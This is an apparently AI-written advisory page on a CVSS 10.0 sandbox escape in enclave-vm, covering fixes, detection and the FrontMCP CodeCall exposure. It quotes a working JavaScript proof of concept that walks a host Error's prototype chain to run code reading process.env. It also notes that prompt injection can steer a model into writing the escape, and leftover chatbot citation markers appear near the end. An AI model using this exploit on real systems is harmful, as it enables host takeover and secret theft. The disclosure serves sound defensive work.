CVE-2026-22686: enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
enclave-vm before 2.7.0 lets sandboxed JavaScript escape into the host Node.js process. When a tool call fails, the sandbox receives a host-realm Error object, and its prototype chain leads to the host `Function` constructor. This matters for FrontMCP CodeCall users, whose model-written code runs inside enclave-vm. Upgrade to enclave-vm 2.7.0.
Published Jan 14, 2026 · Updated Jan 15, 2026 · Analysis Nov 1, 2026
What an attacker can do
If a tool invocation fails, enclave-vm hands the sandbox a host-side Error. That object keeps its host prototype chain: Error instance, Error.prototype, the Error constructor, then the Function constructor. Calling the host Function constructor compiles and runs code in the host context, outside the sandbox. The advisory's proof of concept calls a tool that does not exist, catches the error, walks the chain with string-built property names to dodge validation, and runs return process.env.
From there an attacker reads environment variables, files and the network with the host's rights. The CVSS score is 10.0: network reachable, no privileges, no user interaction, changed scope. The attacker needs a way to get code into the sandbox. With FrontMCP CodeCall, that code is JavaScript plans generated by a model, so a prompt injection or a malicious user prompt can steer the model to write the escape. Enclave is the defense-in-depth layer behind the AST validation, so a bypass removes the last barrier.
Who is affected
The npm package enclave-vm below 2.7.0. The advisory text says affected < 2.6.0 and patched 2.7.0, while the package data says < 2.7.0; treat any version under 2.7.0 as vulnerable. Check what is installed, including transitive installs through FrontMCP:
npm ls enclave-vmenclave-vm
- Ecosystem
- npm
- Affected
- < 2.7.0
- Fixed in
- 2.7.0
- Check
npm ls enclave-vm
How to fix it
Upgrade to enclave-vm 2.7.0 or later:
npm install enclave-vm@latestThe fix commit adds a safe-error.ts module and touches tool-bridge.ts and value-sanitizer.ts as part of safer error handling that blocks the prototype chain escape. The advisory also advises, as defense in depth: recreate Error objects inside the sandbox realm, strip or freeze prototype chains of host objects, block access to host Function constructors, and keep tool error handling from leaking host-native objects.
How to tell if you were hit
Review logs of executed sandbox scripts for code that calls a nonexistent tool and then reads __proto__, constructor or __lookupGetter__, often built from String.fromCharCode values. Look for host-side effects that sandboxed code should not cause: reads of process.env, new child processes, unexpected files or outbound connections from the Node process running enclave-vm or FrontMCP. If you ran affected versions on untrusted model output, rotate secrets in that process's environment.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.
When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host `Function` constructor:
Error instance → Error.prototype → Error constructor → Function constructor
With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.
This breaks enclave-vm’s core security guarantee of isolating untrusted code.
---
Ecosystem Impact (FrontMCP / CodeCall)
FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.
Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.
---
Live Playground (Safe Exploration & Testing)
To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:
- EnclaveVM Playground: https://enclave.agentfront.dev
This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.
---
Timeline (Fast Fix)
- Fix released:
[email protected](Jan 9, 2026) - Advisory published: Jan 13, 2026
---
Proof of Concept
⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
Click to expand PoC
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);
try {
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const ErrorCtor = errProto[kCon];
const HostFunc = ErrorCtor[kCon];
const exploitFn = HostFunc(kCode);
return exploitFn();
} catch (e) {
return e.message;
}---
Mitigation / Remediation
Immediate action:
- Upgrade enclave-vm to 2.7.0+
Defense-in-depth guidance:
- Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
- Strip / freeze prototype chains of host objects
- Prevent access to host
Functionconstructors - Harden tool error handling to avoid leaking host-native objects
---
References
- GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
- npm package: https://www.npmjs.com/package/enclave-vm
- Enclave repo: https://github.com/agentfront/enclave
- FrontMCP docs: https://agentfront.dev/docs
- CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview
- EnclaveVM Playground: https://enclave.agentfront.dev/
Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}
- Release listing shows `[email protected]` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}Questions
- Am I affected if I use FrontMCP CodeCall?
Yes, if its enclave-vm dependency is below 2.7.0. CodeCall executes model-generated JavaScript inside Enclave, so the escape is reachable through generated plans.
- Why is the score 10.0?
The vector is network, low complexity, no privileges, no user interaction, with a changed scope and high impact on confidentiality, integrity and availability, because the escape reaches the host runtime.
- Is there a workaround?
The advisory gives upgrading to 2.7.0 as the immediate action. Its defense-in-depth steps cover recreating errors in the sandbox realm and freezing host prototypes, but those are code changes inside the library.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-129235
Kubeshark: MCP `download_file` writes fetched bytes to an unvalidated destination path
medium5.3Nov 16, 2026CVE-2026-129236
Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover
high7.2Nov 16, 2026CVE-2026-68934
code-review-mcp-server: Command injection via unsanitized folderPath/baseBranch parameters
high8.7Nov 16, 2026CVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026
